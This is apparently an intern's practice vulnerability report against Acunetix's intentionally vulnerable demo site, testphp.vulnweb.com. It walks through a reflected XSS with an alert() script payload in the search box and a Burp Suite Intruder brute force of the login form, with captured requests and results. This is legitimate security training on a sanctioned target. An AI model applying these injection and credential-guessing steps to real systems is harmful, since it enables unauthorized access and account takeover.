

Vulnerability Report

Reported by: Gopi Kumar

Email: gjmgopi21@gmail.com

Organization: DROP Organization

Position: Cyber Security Intern

Date: 19/01/2026

Vulnerability : Cross Site Scripting (XSS)

Severity Risk : High

Description

XSS (Cross-Site Scripting) is a web security vulnerability where an attacker injects **malicious JavaScript code** into a website. When other users visit the affected page, the script runs in their browser.

URL : <http://testphp.vulnweb.com/>

Payload : <script>alert('you hacked by stranger')</script>

Proof Of Concept : (POC)

1 Go TO <http://testphp.vulnweb.com/>

The screenshot shows a web browser window with the following details:

- Address Bar:** testphp.vulnweb.com
- Page Title:** acunetix acuart
- Header:** TEST and Demonstration site for Acunetix Web Vulnerability Scanner
- Navigation:** home | categories | artists | disclaimer | your cart | guestbook | AJAX Demo
- Search:** search art go
- Links:** Browse categories, Browse artists, Your cart, Signup, Your profile, Our guestbook, AJAX Demo
- Content:** welcome to our page
Test site for Acunetix WVS.

2 Insert the Payload in Search Box

Payload : <script>alert('you hacked by stranger')</script>

A screenshot of a web browser displaying a test page for Acunetix Web Vulnerability Scanner. The URL is testphp.vulnweb.com/login.php. The page contains a search bar with the placeholder "search here". A blue arrow points from the text "you hacked by s..." in the search bar to the "go" button. Below the search bar, there is a login form with fields for username and password, and a "login" button. To the left of the search bar, there is a sidebar with links: "home", "categories", "artists", "disclaimer", "your cart", "guestbook", and "AJAX Demo". On the right side of the page, there is a message: "If you are already registered please enter your login information below:". Below this message, there is a list of items: "Br... <script>alert('you hacked by s...", "Br... <script>alert('XSS')</script>", "You", "Sig". At the bottom of the page, there is a note: "You can also [signup here](#). Signup disabled. Please use the username **test** and the password **test**.

3. Check the Response

A screenshot of a modal dialog box. The title bar says "testphp.vulnweb.com says". The main content of the dialog is "you hacked by stranger". In the bottom right corner of the dialog, there is an "OK" button.

Impact

- * Open Redirection
- * Phishing
- * User Alert Screen

Vulnerability : Authentication Using Burp Suite

Severity Risk : High

Description

The **test.php** login page is vulnerable to **brute force attacks**, allowing an attacker to repeatedly attempt username and password combinations from a wordlist without restriction.

URL : <http://testphp.vulnweb.com/>

Requirements : Target Website , Burp Suite, Wordlists

Proof Of Concept : (POC)

1. open Burp Suite and open <http://testphp.vulnweb.com/> site in Burp Suite Browser

The screenshot shows the Burp Suite interface with the 'Proxy' tab selected. In the center, there's a 'Live audit from Proxy (all traffic)' section. Below it, another section says '1. Live passive crawl from Proxy (all traffic)'. To the right, a browser window displays the 'acunetix acuart' website, which is a test site for Acunetix Web Vulnerability Scanner. The browser URL bar shows 'Not secure testphp.vulnweb.com'. The Burp Suite status bar at the bottom indicates 'Memory: 173.4MB of 3.93GB'.

2. Go to Proxy -> Intercept -> Turn on Intercept

The image contains two side-by-side screenshots of the Burp Suite interface. Both screenshots show the 'Proxy' tab selected. The left screenshot shows the 'Intercept' button in its 'off' state. The right screenshot shows the 'Intercept' button in its 'on' state, with a tooltip explaining that intercepting messages allows analysis and modification before they reach the target server. The Burp Suite status bar at the bottom of both screenshots indicates 'Memory: 173.4MB of 3.93GB'.

3. Entered an incorrect username or password to capture the login request in Burp Suite.

If you are already registered please enter your login information below:

Username : error

Password : *****

This connection is not secure. Logins entered here could be compromised.

You can also [Learn More](#)

Signup disabled. Please use the username **test** and the password **test**.

4. Captured the login request containing the username and password in Burp Suite.

Request

Pretty Raw Hex

```
1 POST /userinfo.php HTTP/1.1
2 Host: testphp.vulnweb.com
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 22
9 Origin: http://testphp.vulnweb.com
10 Connection: keep-alive
11 Referer: http://testphp.vulnweb.com/login.php
12 Upgrade-Insecure-Requests: 1
13 Priority: u=0, i
14
15 uname=error&pass=ghhhf
```

5. Send to Intruder Captured login request for modify the request.

Request

Pretty Raw Hex

```
1 POST /userinfo.php HTTP/1.1
2 Host: testphp.vulnweb.com
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 22
9 Origin: http://testphp.vulnweb.com
10 Connection: keep-alive
11 Referer: http://testphp.vulnweb.com/login.php
12 Upgrade-Insecure-Requests: 1
13 Priority: u=0, i
14
15 uname=error&pass=ghhhf
```

Scan

- Passive scan selected message
- Active scan selected message
- Send to Intruder** Ctrl+I
- Send to Repeater
- Send to Sequencer
- Send to Comparer
- Send to Decoder
- Send to Organizer
- Insert Collaborator payload
- Request in browser >
- Engagement tools >
- Change request method
- Change body encoding >
- Copy Ctrl+C
- Copy prettified Ctrl+Alt+C
- Copy URL
- Copy as curl command (bash)
- Save selected text to file
- Paste text from file
- Save item

5. Added \$ symbols to the username and password parameters to define payload positions for brute force testing.

```
Positions Add $ Clear $ Auto $  
1 POST /userinfo.php HTTP/1.1  
2 Host: testphp.vulnweb.com  
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,  
5 Accept-Language: en-US,en;q=0.5  
6 Accept-Encoding: gzip, deflate, br  
7 Content-Type: application/x-www-form-urlencoded  
8 Content-Length: 22  
9 Origin: http://testphp.vulnweb.com  
10 Connection: keep-alive  
11 Referer: http://testphp.vulnweb.com/login.php  
12 Upgrade-Insecure-Requests: 1  
13 Priority: u=0, i  
14  
15 uname=$error$&pass=$hhhhh$
```

6. Selected Payload 1 for the username and Payload 2 for the password and loaded wordlists for both.

Payloads

Payload position: 1 - error

Payload type: Simple list

Payload count: 54

Request count: 0

Payload configuration

This payload type lets you configure a simple list of strings that are used as payloads.

Paste	Cipher
Load...	Blaze
Remove	Quantum
Clear	Echo
Deduplicate	Nova
Add	Phantom
	Drift
	Spark
	Orbit

Add Enter a new item

Add from list...

Payloads

Payload position: 2 - hhhh

Payload type: Simple list

Payload count: 54

Request count: 54

Payload configuration

This payload type lets you configure a simple list of strings that are used as payloads.

Paste	Shadow
Load...	Pixel
Remove	Thunder
Clear	Neon
Deduplicate	Cipher
Add	Blaze
	Quantum
	Echo
	Nova

Add Enter a new item

Add from list...

7. After completing all steps, selected the Cluster Bomb attack type and launched the brute force attack.

1 2 X +

Cluster bomb attack

Start attack

Target http://testphp.vulnweb.com

Update Host header to match target

Positions Add \$ Clear \$ Auto \$

Attack Save

3. Intruder attack of http://testphp.vulnweb.com

3. Intruder attack of http://testphp.vulnweb.com

Attack Save

Results Positions

Capture filter: Capturing all items

View filter: Showing all items

Request	Payload 1	Payload 2	Status code	Response received	Error	Timeout	Length	Comment
0			302	306			258	
1	Shadow	Shadow	302	306			258	
2	Pixel	Shadow	302	311			258	
3	Thunder	Shadow	302	319			258	
4	Neon	Shadow	302	304			258	
5	Cipher	Shadow	302	303			258	
6	Blaze	Shadow	302	307			258	
7	Quantum	Shadow	302	306			258	

8. Successfully identified a valid username and password through brute force testing.

The screenshot shows the Burp Suite interface during an intruder attack on the URL <http://testphp.vulnweb.com>. The Repeater tab is active, showing a POST request for the userinfo.php endpoint. The request parameters include `uname=test&pass=test`. The response from the server is a 302 Found status code, indicating a redirect. The interface includes various tabs like Dashboard, Target, Proxy, Intruder, Repeater, Collaborator, Sequencer, Decoder, and Comparer, along with buttons for Send, Cancel, and Burp AI.

Request	Payload 1	Payload 2	Status code	Response received	Error	Timeout	Length	Comment
2641	test	test	200	573			6293	
0			302	306			258	
1	Shadow	Shadow	302	306			258	
2	Pixel	Shadow	302	311			258	
3	Thunder	Shadow	302	319			258	
4	Neon	Shadow	302	304			258	
5	Cipher	Shadow	302	303			258	
A	Pixel	Shadow	302	307			250	

Impact

* Account Takeover

* Unauthorized Access

* Data Breach

Thank you